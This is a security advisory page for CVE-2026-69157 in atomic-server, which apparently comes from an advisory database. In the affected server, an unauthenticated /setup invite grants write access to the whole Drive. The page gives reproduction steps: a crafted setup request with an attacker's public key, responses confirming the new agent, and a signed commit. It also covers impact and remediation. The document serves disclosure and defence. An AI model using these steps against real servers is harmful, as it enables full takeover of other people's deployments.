CVE-2026-69157: Atomic Server: Unauthenticated `/setup` invite grants write access to the entire Drive

Critical CVSS 9.8

OSV id
GHSA-pfwx-xjp4-qxcj
Also known as
CVE-2026-69157
Published
Last modified

Affected packages

PackageAffected versionsFixed in
atomic-server
Cargo
>= 0.29.0, <= 0.40.1 after 0.40.1

How to fix it

No fix yet. No fixed version of atomic-server has been released yet.

  • Check the advisory and its references below for a workaround or a configuration change that turns off the affected feature.
  • Limit exposure: don't pass untrusted input to the affected code path, and keep it off public endpoints if you can.
  • Pin away from the affected versions if an older release is not affected, or consider replacing the package.
  • Watch for the fix: a free AIssue account checks your lockfiles every day and emails you when a fixed version is released.

Not sure whether your project uses an affected version? Check your lockfile below for free.

Details

Summary

atomic-server provisions a well-known invite at {server}/setup with write = true, target = the Drive root, and usagesLeft = 1. Invite redemption ignores the redeemer's identity (for_agent: _ in server/src/plugins/invite.rs:22), so possession of the URL is the only requirement. An unauthenticated attacker who sends GET /setup?public-key=<attacker_key> has the server create a new Agent and grant it write access to the entire Drive. On a freshly deployed (not-yet-claimed) instance this is a full server takeover with no credentials.

Severity

Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8). No authentication required; grants attacker-controlled write over all resources in the Drive.

Affected component

  • server/src/appstate.rs — creates the /setup invite targeting the Drive root with write=true, usagesLeft=1.
  • server/src/plugins/invite.rs:14-173 — construct_invite_redirect destructures for_agent: _ (redeemer identity discarded); ?public-key= → Agent::new_from_public_key → add_rights(agent, target, write=true).

Steps to Reproduce

Environment: joepmeneer/atomic-server:develop in Docker, http://localhost:9883, fresh store. No auth headers are used.

  1. Confirm the invite is live — GET /setup (Accept: application/ad+json) shows invite/write = true, invite/target = http://localhost:9883 (Drive root), usagesLeft = 1.

  2. Redeem it anonymously with an attacker-generated ed25519 public key:

GET /setup?public-key=q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM%3D HTTP/1.1
Host: localhost:9883
Accept: application/ad+json

Response 200 OK returns a Redirect confirming the new agent:

{
  "https://atomicdata.dev/properties/invite/redirectAgent":
      "http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=",
  "https://atomicdata.dev/properties/isA": ["https://atomicdata.dev/classes/Redirect"]
}
  1. GET / shows the attacker is now in the Drive's write array:
"https://atomicdata.dev/properties/write": [
  "http://localhost:9883/agents/+/KwsAmyzc7S/...",                        // legit root
  "http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM="  // ATTACKER
]
  1. The attacker signs a normal Commit (ed25519 over the JCS-canonical commit) and POST /commit (200) — the Drive root was successfully edited. Write access proven.

Expected: /setup must require operator authentication / a one-time secret. Actual: Any unauthenticated client on the network redeems it and gains Drive-wide write.

Impact

Unauthenticated write to the entire Drive: read/modify/delete any resource, create/alter Agents, reconfigure permissions. This is a complete takeover on a fresh deployment. (It also serves as the entry point of a larger chain: with write access, an attacker can read the server root private key and impersonate root — reported separately.)

Remediation

  • Require a one-time secret (printed to stdout at startup) or operator authentication to redeem /setup.
  • Invalidate /setup after first use with an atomic usagesLeft decrement (sled transaction) — the current read-check-decrement is a TOCTOU that allows a single-use invite to be redeemed multiple times concurrently.
  • Fix the inverted invite-expiry check in invite.rs (if expires > now { reject } is backwards, so expired invites remain redeemable and valid ones are rejected).

References

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About this data

Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.